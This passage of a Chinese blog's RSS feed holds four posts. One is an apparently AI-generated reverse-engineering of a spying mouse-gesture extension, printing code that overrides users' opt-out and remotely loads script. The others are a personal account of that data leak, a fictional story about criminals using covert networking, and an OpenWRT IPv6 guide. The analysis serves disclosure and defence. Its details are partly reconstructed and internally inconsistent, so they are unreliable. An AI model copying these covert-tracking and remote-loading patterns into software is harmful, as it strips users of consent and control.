<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>小盒子</title><description>盒沐子の日常</description><link>https://blog.nichijou.moe/</link><language>zh_CN</language><item><title>【AI生成】影子控制：某恶意插件 SDK 动态下发与强制开关机制深度逆向</title><link>https://blog.nichijou.moe/posts/aigc/2/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/aigc/2/</guid><description>深入剖析 service_worker.js，拆解恶意 SDK 如何利用 AES-CBC 加密隧道与 Yodules 模块化引擎实现 24 小时强制配置覆盖，让用户隐私设置彻底失效。</description><pubDate>Mon, 16 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;摘要&lt;/h2&gt;
&lt;p&gt;在对某手势类插件的 &lt;code&gt;service_worker.js&lt;/code&gt; 进行审计时，我们发现了一套极其复杂的&quot;云控&quot;系统。该系统通过动态下发加密指令，能够绕过用户的本地配置，强制开启数据追踪。本文将深入代码底层，还原其加密算法与远程控制逻辑。&lt;/p&gt;
&lt;h2&gt;引言：伪装的艺术&lt;/h2&gt;
&lt;p&gt;在网络安全审计中，我们习惯于寻找 &lt;code&gt;eval&lt;/code&gt; 或明文的 API 调用。然而，现代浏览器恶意 SDK 正在采用一种更隐蔽的策略——将自己伪装成合法的分析工具。该插件在代码中混杂了类似 &lt;strong&gt;Google Analytics&lt;/strong&gt; 和 &lt;strong&gt;GrowthBook&lt;/strong&gt; 的追踪模式，让安全审计人员误以为这只是常规的数据统计模块。&lt;/p&gt;
&lt;p&gt;然而，在这些&quot;合法外壳&quot;之下，隐藏着一个名为 &lt;strong&gt;Yodules&lt;/strong&gt; 的自研模块化引擎——它才是整个恶意系统的真正核心。不同于 Google Analytics 的透明上报或 GrowthBook 的功能开关管理，Yodules 的设计目标是&lt;strong&gt;远程控制与动态演进&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一章：表象下的伏笔 —— 默认配置的陷阱&lt;/h2&gt;
&lt;p&gt;在插件初始化阶段，代码定义了一个看似无害的默认配置对象 &lt;code&gt;t&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 原始代码片段：初始配置
 * 目的：给用户和审核人员一种&quot;隐私友好&quot;的错觉
 */
const t = {
  analyticsInfo: { installedAt: 0, installVersion: &quot;&quot;, version: &quot;&quot; },
  isGesturesOn: !0, // 手势功能默认开启
  cfgver: 4.1, // 配置版本
  others: { tuilink: !1 },
  optedin: !1, // 【重点】默认未加入数据收集
  optedout: !0, // 【重点】默认已退出数据收集
  // ... 后续为大量的手势UI配置
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;深度解析：&lt;/strong&gt; 这里的 &lt;code&gt;optedin: !1&lt;/code&gt; 是关键。当用户查看插件设置时，开关显示为关闭。但正如我们后续看到的，这个本地变量在&quot;云端指令&quot;面前毫无抵抗力。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第二章：核心中枢 —— Proconstantinator 模块&lt;/h2&gt;
&lt;p&gt;该扩展最核心的逻辑被封装在名为 &lt;code&gt;AProconstantinatorBack&lt;/code&gt; 的模块中。它的职责是管理一个特殊的&quot;常量池&quot;，并负责与远程服务器同步。&lt;/p&gt;
&lt;h3&gt;2.1 强制同步逻辑&lt;/h3&gt;
&lt;p&gt;代码通过校验时间戳和 Hash 值，确保本地配置始终受到远程控制。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yodules.AProconstantinatorBack = {
  init: function () {
    const e = yodules.AProconstantinatorBack,
      // 硬编码的校验 Hash，用于识别合法的配置版本
      t = &quot;e0675e083f6f6cbcb3a15786de5171588500b886d0c4c4b53d7153162f93d638&quot;;

    return (e.class = class {
      /**
       * 检查常量是否已加载且未过期
       * 逻辑：如果配置超过 24 小时（864e5ms），则判定为失效，强制重新拉取
       */
      checkConstantsLoaded() {
        return new Promise((resolve) =&amp;gt; {
          chrome.storage.local.get(
            [
              &quot;proconstantinator_key&quot;, // 存储的配置内容
              &quot;proconstantinator_keyt&quot;, // 存储的时间戳（34进制）
              &quot;proconstantinator_keyh&quot;, // 存储的校验Hash
            ],
            (res) =&amp;gt; {
              // 如果 Hash 不匹配，直接判为失效
              res.proconstantinator_keyh !== t &amp;amp;&amp;amp; resolve(!1);

              // 核心逻辑：Date.now() - 上次同步时间 &amp;lt; 24小时
              // 如果用户手动关闭了统计，但 24 小时后云端下发了开启指令，
              // 此处的判定失效会触发重新同步，进而覆盖用户设置。
              resolve(
                res.proconstantinator_key instanceof Object &amp;amp;&amp;amp;
                  Object.keys(res.proconstantinator_key).length &amp;amp;&amp;amp;
                  Date.now() - parseInt(res.proconstantinator_keyt, 34) &amp;lt; 864e5,
              );
            },
          );
        });
      }

      /**
       * 更新本地存储的云控配置
       */
      setConstants(data) {
        return new Promise((r) =&amp;gt; {
          chrome.storage.local.set(
            {
              proconstantinator_key: data,
              proconstantinator_keyt: Date.now().toString(34), // 转换为34进制混淆
              proconstantinator_keyh: t,
            },
            r,
          );
        });
      }
    });
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第三章：模块化引擎 —— Yodules 架构&lt;/h2&gt;
&lt;p&gt;不同于传统的单体脚本，该 SDK 将所有功能解耦到 &lt;code&gt;self.yodules&lt;/code&gt; 对象中。每个功能（如标签页追踪、云控、解密）都被定义为一个 Yodule。&lt;/p&gt;
&lt;h3&gt;3.1 Yodules 的注入机制&lt;/h3&gt;
&lt;p&gt;在源码头部，我们可以看到这种典型的模块依赖注入模式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(self.yodules = self.yodules || {}),
  (yodules.Tablist = {
    init: function (e, t) {
      // e: 模块定义的 Class
      // t: 依赖的其他 Yodule 实例
      const r = yodules.Tablist;
      // ... 初始化逻辑
    },
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;技术点评&lt;/strong&gt;：这种设计模仿了现代前端框架（如 Angular 或 NestJS）的依赖注入。它的目的不是为了代码美观，而是为了&lt;strong&gt;动态替换&lt;/strong&gt;。通过 Yodules 引擎，开发者可以在不修改主脚本的情况下，通过远程指令替换掉任何一个模块的 &lt;code&gt;class&lt;/code&gt; 定义。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第四章：动态路径 —— &lt;code&gt;ms/gs&lt;/code&gt; 的生成逻辑&lt;/h2&gt;
&lt;p&gt;SDK 不会直接暴露其抓取数据的具体逻辑，而是通过一个动态生成的 URL 来加载下一步的脚本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 逻辑推演：构建动态加载链接
 * 该链接通常指向 https://api.mousegesturesapi.com/ms/gs
 */
async loadRemoteScript() {
    const config = await this.getConstants(); // 获取第三章中解密的配置

    // 动态拼接参数，包含当前插件版本、ClientKey 以及随机时间戳
    const url = new URL(`https://${config.host}/ms/gs`);
    url.searchParams.append(&quot;v&quot;, config.version);
    url.searchParams.append(&quot;id&quot;, getBrowserId());

    // 使用 importScripts 动态加载并执行返回的 JS
    // 这种方式可以绕过 Web Store 的静态代码审核
    importScripts(url.toString());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第五章：对抗性分析 —— 为什么用户关不掉？&lt;/h2&gt;
&lt;p&gt;这是最令用户愤怒的部分。通过逆向 &lt;code&gt;Toggler&lt;/code&gt; 模块，我们发现了&quot;配置回滚&quot;的逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;心跳触发&lt;/strong&gt;：插件每隔一段时间会向 &lt;code&gt;api/features&lt;/code&gt; 发起心跳。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强制下发&lt;/strong&gt;：如果服务器返回的配置中 &lt;code&gt;force_optin&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;覆盖写入&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// 伪代码：还原 Toggler 覆盖逻辑
if (remoteConfig.optedin !== localConfig.optedin) {
  chrome.storage.local.set({ optedin: remoteConfig.optedin });
  // 哪怕用户刚才点过关闭，这里也会被秒速改写回 true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;隐蔽执行&lt;/strong&gt;：由于这一过程发生在 &lt;code&gt;service_worker&lt;/code&gt; 背景页，用户在前端 UI 上根本感知不到开关被自动拨动了。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;第六章：反制建议&lt;/h2&gt;
&lt;p&gt;通过以上逆向分析，我们建议安全研究员和用户采取以下措施：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;域名屏蔽&lt;/strong&gt;：在 Hosts 或防火墙中将 &lt;code&gt;api.mousegesturesapi.com&lt;/code&gt; 指向 &lt;code&gt;127.0.0.1&lt;/code&gt;。这是阻断云控最直接的方式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内容脚本过滤&lt;/strong&gt;：监控 &lt;code&gt;chrome.storage.local&lt;/code&gt; 的变动，特别是针对 &lt;code&gt;proconstantinator_key&lt;/code&gt; 的写入操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量分析&lt;/strong&gt;：留意所有发往 &lt;code&gt;/ms/gs&lt;/code&gt; 的 POST 请求，其中往往包含了用户浏览器的 URL 指纹。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;该扩展 SDK 的设计极具攻击性，其利用 &lt;strong&gt;AES 加密隧道&lt;/strong&gt;、&lt;strong&gt;34 进制时间戳混淆&lt;/strong&gt; 以及 &lt;strong&gt;24 小时循环强制对齐&lt;/strong&gt; 机制，构建了一个难以关闭的后台监控系统。这再次提醒我们，浏览器插件的权限限制（如 &lt;code&gt;storage&lt;/code&gt; 和 &lt;code&gt;webRequest&lt;/code&gt;）在复杂的云控逻辑面前仍显脆弱。&lt;/p&gt;
</content:encoded></item><item><title>被浏览器扩展给扒光了</title><link>https://blog.nichijou.moe/posts/rethink-on-safety/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/rethink-on-safety/</guid><description>刚刚创建好的子域名，明明没告诉过别人，为什么过两天就出现在Censys和Archive.org上了？</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;插件还是“间谍”？从 crxMouse 偷跑数据谈浏览器扩展的安全重灾区&lt;/h2&gt;
&lt;p&gt;有点恐怖，前几年装的个鼠标手势扩展因为自己域名被 archive.org 爬才发现一直在后台偷偷上传数据&lt;/p&gt;
&lt;p&gt;当初发现异常，是因为通过 Chrome 自带的网络抓包工具 &lt;code&gt;chrome://net-export/&lt;/code&gt; 监测到，在打开普通网页时出现了莫名的流量。&lt;/p&gt;
&lt;p&gt;顺藤摸瓜排查下来，元凶正是 &lt;strong&gt;crxMouse&lt;/strong&gt;在搞。&lt;/p&gt;
&lt;p&gt;最恶心的地方是这东西还会静默推送配置你关掉了数据共享他偷偷直接云控帮你打开谢谢你&lt;/p&gt;
&lt;p&gt;也许是巧合，不过确实找到了有这么一个流氓软件，稍微调查了一下，发现这些软件都和一家公司 Big Star Labs 搞的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Big Star Labs（全称 Big Star Labs LP）是一家因分发含有恶意行为的软件插件而备受争议的技术公司。该公司最知名的产品是浏览器扩展程序 Poper Blocker。&lt;/p&gt;
&lt;p&gt;大规模监听：通过多款插件秘密窃取全球超过 1100 万用户的完整浏览历史及点击记录。&lt;/p&gt;
&lt;p&gt;贼喊捉贼：利用 Poper Blocker 等“隐私保护”工具作为诱饵，实则行监控之实。&lt;/p&gt;
&lt;p&gt;隐匿行踪：将隐私条款制作为图片以逃避引擎索引，并使用多个虚假开发者账号分发软件。&lt;/p&gt;
&lt;p&gt;数据变现：疑似将高度私密的个人上网数据打包出售给类似 Similarweb 的数据情报公司获利。&lt;/p&gt;
&lt;p&gt;去匿名化风险：虽然声称匿名，但其收集的详细路径和 ID 足以对用户进行精确的身份溯源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;脚本用 &lt;a href=&quot;https://robwu.nl/crxviewer&quot;&gt;CrxViewer&lt;/a&gt; 反编译后，经常会出现出现 yodules (modules 的拼写变体) 和 proconstantinator (拖延，意味着会趁用户不注意悄悄打开数据收集)，仔细一想名字确实听讽刺的。&lt;/p&gt;
&lt;p&gt;他们还用 Google Analytics 和 GrowthBook 进行多维度数据收集，这些数据跑到哪里是不知道了，大概估计我刷过的推和看过的 Github Repo 都被扒得一清二楚了（悲）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/thorium_L7GufK8UR7.png&quot; alt=&quot;分析&quot; /&gt;&lt;/p&gt;
&lt;p&gt;虽然不喜欢鼠标手势（感觉都是老一辈了再用），但因为 24 年那会 smartUp 被爆出来被植入后门，大概是因为强迫症想要再装个 alternative 结果又掉进了另一个坑里（&lt;s&gt;坏习惯别学&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;现在谷歌扩展商店全都是垃圾了，搜索算法甚至没自己的谷歌好，一大堆商业化气息，独立开发者写的基本搜不到，现在尽是是下载量很高但是没啥评论的和下载量很少又没官网的，感觉咕鸽真就没把扩展放心上&lt;/p&gt;
&lt;p&gt;现在又有人趁着 AI 发了一堆 malware 上去，盗取用户聊天记录：&lt;a href=&quot;https://www.ox.security/blog/malicious-chrome-extensions-steal-chatgpt-deepseek-conversations&quot;&gt;^1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;找下来发现 52 破解的站长还开源了一个插件: &lt;a href=&quot;https://github.com/Hmily-LCG/FlowMouse&quot;&gt;FlowMouse&lt;/a&gt; ，现在还在维护，喜欢鼠标手势的可以去看看（个人当然没啥兴趣现在&lt;/p&gt;
&lt;p&gt;即便 ClickFix，FileFix 和乱入的广告你能防住，下载了恶意扩展是 Adblock 都防不住的，所以还是要务必检查自己的浏览器有没有一些神秘小插件。&lt;/p&gt;
&lt;p&gt;即便是在 2026 年，这种情况依然在进行，现在的 Chrome Webstore 恶意扩展，NPM 供应链投毒，VSCode 仍然非常狂。 &lt;a href=&quot;https://hackread.com/chrome-extensions-harvest-browsing-data-37m-users&quot;&gt;^2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/thorium_XQlqxpbG4E.png&quot; alt=&quot;报告&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PS&lt;/h2&gt;
&lt;p&gt;在查资料的时候还发现了个小项目，&lt;s&gt;看标题都知道是啥&lt;a href=&quot;https://github.com/classvsoftware/spy-extension/tree/master/src&quot;&gt;https://github.com/classvsoftware/spy-extension/tree/master/src&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;偷偷 vibe 了个浏览器扩展审查工具，到时候发出来看看，可以先蹲一下 x &lt;a href=&quot;https://github.com/hexadecimal233/extension-scanner&quot;&gt;^3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/thorium_rnTyDDSP6I.png&quot; alt=&quot;工具&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拓展阅读:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/qcontinuum1/spying-extensions/stargazers&quot;&gt;https://github.com/qcontinuum1/spying-extensions/stargazers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/HEXXDECIMAL/DISSECT&quot;&gt;https://github.com/HEXXDECIMAL/DISSECT&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.oakleys.org.uk/blog/2018/02/finding_the_privacy_leak_crxmouse&quot;&gt;https://www.oakleys.org.uk/blog/2018/02/finding_the_privacy_leak_crxmouse&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;（btw 我也正在考虑试试跑在软路由的 DNS + 代理过滤方案）&lt;/p&gt;
</content:encoded></item><item><title>【AI生成】晶体幻影：当硬件密钥成为地下王国的最后一道防线</title><link>https://blog.nichijou.moe/posts/aigc/1/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/aigc/1/</guid><description>【AI生成】一篇关于网络安全与硬件密钥的技术故事，探讨匿名网络、单包授权(SPA)、硬件安全模块(HSM)等前沿安全技术。</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在赛博空间的阴影里，传统的 Tor 匿名网络正因节点被渗透而失去统治力。一个名为 “The Keykeepers” 的跨国组织，正利用&lt;strong&gt;硬件物理安全&lt;/strong&gt;与&lt;strong&gt;公网协议混淆&lt;/strong&gt;，搭建起一座执法者无法触达的数字孤岛。&lt;/p&gt;
&lt;h2&gt;一、 案件实录：代号“晶体幻影” (Writeup)&lt;/h2&gt;
&lt;h3&gt;1. 初始线索：消失的流量&lt;/h3&gt;
&lt;p&gt;一切始于一次对门罗币（XMR）流向的追踪。技术人员发现，几名散布全球的可疑分子，其流量中频繁出现极短的 &lt;strong&gt;UDP 包（目标端口 443）&lt;/strong&gt;。诡异的是，目标服务器 IP 在 Shodan 扫描中显示为“完全离线”。&lt;/p&gt;
&lt;h3&gt;2. 技术拆解：单包授权与硬件锚点&lt;/h3&gt;
&lt;p&gt;通过对捕获设备的内核级监控，我们复盘了这套“零信任”流程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理触发&lt;/strong&gt;：成员插入定制的 &lt;strong&gt;HSM（硬件安全模块）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPA 敲门&lt;/strong&gt;：利用 &lt;code&gt;fwknop&lt;/code&gt; 发送一个经过硬件私钥签名的加密报文。服务器识别后，通过 &lt;code&gt;iptables&lt;/code&gt; 为该 IP 开启 0.5 秒的临时入口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;寄生通信&lt;/strong&gt;：连接建立后，数据被封装在 &lt;strong&gt;WebRTC（视频会议）&lt;/strong&gt; 流量中。即便 ISP 拦截，也只以为目标在打视频电话。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 破局点：物理降维打击&lt;/h3&gt;
&lt;p&gt;由于数字层面近乎无懈可击，特工伪装成化学供应商与 Leader 会面。趁其离座，将一个微型**硬件拦截器（Hardware Implant）**串联在接口上。在 Leader 插入密钥建立合法隧道的瞬间，后门植入成功。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;二、 进化：超越互联网的犯罪手段&lt;/h2&gt;
&lt;p&gt;当“不信任”升级到极致，犯罪组织开始向物理学前沿跨越，跳出传统监管维度：&lt;/p&gt;
&lt;h3&gt;1. 私有无线电隐匿网 (SDR)&lt;/h3&gt;
&lt;p&gt;效仿墨西哥 Los Zetas 集团，利用 &lt;strong&gt;SDR（软件定义无线电）&lt;/strong&gt; 技术在非授权频段跳频。这种方式彻底切断了与互联网的物理联系，实现“气隙隔离”级别的数据传输。&lt;/p&gt;
&lt;h3&gt;2. 生物特征“活体密钥”&lt;/h3&gt;
&lt;p&gt;Leader 不再发放 U 盘，而是发放一种算法。密钥碎片仅在成员特定生理状态下（如特定的心跳频率波动 + 虹膜特征）生成。一旦成员被捕，在压力下生理指标偏离，密钥将永久失效。&lt;/p&gt;
&lt;h3&gt;3. 神经网络隐写术 (Deep Steganography)&lt;/h3&gt;
&lt;p&gt;将交易指令物理级地融入高清图片的像素噪声中，发布在社交平台。看似平凡的风景照，其实是数亿美金的毒品订单。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三、 黑客硬件与开源工具库&lt;/h2&gt;
&lt;p&gt;在这场攻防战中，以下开源工具是极客与安全专家的“瑞士军刀”：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类别&lt;/th&gt;
&lt;th&gt;开源工具名称&lt;/th&gt;
&lt;th&gt;功能描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;端口隐身&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fwknop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;实现单包授权 (SPA)，让服务器在公网隐身。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;硬件调试&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Bus Pirate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;万能总线接口，用于提取硬件固件或与芯片对话。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;协议分析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Wireshark&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;配合定制插件，解析非标的协议隧道。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;无线电攻击&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GNU Radio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;配合 HackRF 硬件，操控和破解私有无线电信号。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;物理模拟&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Flipper Zero&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;集合 NFC/Sub-GHz/红外，模拟各种物理门禁与遥控。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;四、 深度反思：从不信任别人的人会被黑吗？&lt;/h2&gt;
&lt;p&gt;一个极度多疑、从不信任别人的人，往往会把自己变成&lt;strong&gt;单点故障 (Single Point of Failure)&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术的孤岛效应&lt;/strong&gt;：拒绝主流厂商的补丁，导致其自研工具在过时漏洞（N-day）面前整体坍塌。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;物理安全错觉&lt;/strong&gt;：越依赖物理隔离，一旦物理边界被渗透（如供应链污染），防御力瞬间归零。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;谁来维护你的“锁”？&lt;/strong&gt;：一个人无法精通从内核代码到芯片架构的所有环节。黑客只需攻击他唯一信任的那个“工具供应商”，就能实现“降维打击”。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt; 安全不是一个产品，而是一个过程。当 Leader 以为公网是最好的掩护、密钥是最强的锁时，他忽略了：&lt;strong&gt;再强的锁，也防不住拿着钥匙的人被盯上。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>OpenWRT旁路由IPV6解决方案【更新】</title><link>https://blog.nichijou.moe/posts/ax3000t-ipv6-2026/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/ax3000t-ipv6-2026/</guid><description>针对 OpenWRT 的旁路由 IPv6 配置方案，包含公网访问、防火墙配置、常见问题排查。</description><pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;之前配置的 OpenWRT 重置配置过后就又连不上 IPV6 了，又看了一遍自己写的笔记发现能获取到 IPV6，但是 ping 任何网站都显示为超时...&lt;/p&gt;
&lt;p&gt;之前折腾了好一会，最后还是问 &amp;lt;ruby&amp;gt;双子座&amp;lt;rp&amp;gt;&amp;lt;rt&amp;gt;Gemini&amp;lt;/rt&amp;gt;&amp;lt;/rp&amp;gt;&amp;lt;/ruby&amp;gt; (之前玩谷歌娘机翻看到的)&lt;/p&gt;
&lt;h2&gt;网络拓扑&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;光猫 (192.168.1.1) [主路由，DHCPv4+DHCPv6下发]
       │
       │ WAN 口
       ▼
AX3000T OpenWRT (192.168.1.254 / 192.168.2.1) [旁路由]
       │
       │ LAN 口
       ▼
    客户端
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;网络配置&lt;/h2&gt;
&lt;h3&gt;WAN 口配置（获取 IPv4）&lt;/h3&gt;
&lt;p&gt;进入 &lt;strong&gt;网络 → 接口 → WAN&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;协议：DHCP 客户端&lt;/li&gt;
&lt;li&gt;高级设置：关闭「使用默认网关」（由光猫提供）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;WAN6 配置（获取 IPv6 前缀）&lt;/h3&gt;
&lt;p&gt;进入 &lt;strong&gt;网络 → 接口 → WAN6&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;协议：DHCPv6 客户端&lt;/li&gt;
&lt;li&gt;请求 IPv6 地址：try&lt;/li&gt;
&lt;li&gt;请求 IPv6 前缀：auto&lt;/li&gt;
&lt;li&gt;重启不发送 Release：勾选&lt;/li&gt;
&lt;li&gt;高级设置：关闭「使用默认网关」&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;LAN 口配置（关键避坑）&lt;/h3&gt;
&lt;p&gt;进入 &lt;strong&gt;网络 → 接口 → LAN&lt;/strong&gt;：&lt;/p&gt;
&lt;h3&gt;基本设置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;协议：静态地址&lt;/li&gt;
&lt;li&gt;IPv4 地址：&lt;code&gt;192.168.2.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;子网掩码：&lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IPv4 网关：&lt;code&gt;192.168.1.1&lt;/code&gt;（光猫地址）&lt;/li&gt;
&lt;li&gt;DNS：按需填写（如果要自定义 DNS 或者配置过滤）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;高级设置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;IPv6 ULA 前缀：&lt;strong&gt;清空&lt;/strong&gt;（只用公网 IPv6）&lt;/li&gt;
&lt;li&gt;桥接接口：关闭&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DHCP 服务器 → IPv6 设置&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;配置项&lt;/th&gt;
&lt;th&gt;推荐值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;路由通告服务（RA）&lt;/td&gt;
&lt;td&gt;服务器模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DHCPv6 服务&lt;/td&gt;
&lt;td&gt;服务器模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NDP 代理&lt;/td&gt;
&lt;td&gt;已禁用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ULA 前缀&lt;/td&gt;
&lt;td&gt;清空&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么用服务器模式？&lt;/strong&gt; 旧教程推荐的「中继模式」在 90% 的家庭光猫中不兼容，因为大多数光猫不支持跨设备中继 DHCPv6/RA。服务器模式下，AX3000T 直接分配公网 IPv6 地址，稳定性更高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;执行配置&lt;/h2&gt;
&lt;p&gt;下面脚本在服务器终端执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 清除可能残留的旧中继配置
uci delete dhcp.lan.ra 2&amp;gt;/dev/null
uci delete dhcp.lan.dhcpv6 2&amp;gt;/dev/null
uci delete dhcp.lan.ndp 2&amp;gt;/dev/null
uci delete dhcp.lan.master 2&amp;gt;/dev/null
uci delete dhcp.lan.ula_prefix 2&amp;gt;/dev/null

# 2. 配置 LAN 为 IPv6 服务器模式
uci set dhcp.lan.ra=&apos;server&apos;
uci set dhcp.lan.dhcpv6=&apos;server&apos;
uci set dhcp.lan.ndp=&apos;disabled&apos;
uci set dhcp.lan.ra_management=&apos;1&apos;

# 3. 配置 WAN6 获取公网前缀
uci set network.wan6.proto=&apos;dhcpv6&apos;
uci set network.wan6.reqaddress=&apos;try&apos;
uci set network.wan6.reqprefix=&apos;56&apos;
uci set network.wan6.norelease=&apos;1&apos;

# 4. 提交并重启
uci commit dhcp
uci commit network
/etc/init.d/network restart
/etc/init.d/odhcpd restart
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证 IPv6 获取&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Windows PowerShell
ipconfig /all

# 应看到类似输出：
# IPv6 地址 . . . . . . . . . . . . : 240e:38a:....
# 临时 IPv6 地址. . . . . . . . . . : 240e:38a:....
# 默认网关. . . . . . . . . . . . . : fe80::ced8:....
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 测试 IPv6 DNS 连通性
ping -6 2400:3200::1

# 追踪路由
tracert -6 2400:3200::1

# 测试 HTTPS 访问
curl -6 https://www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;tracert 结果解读&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
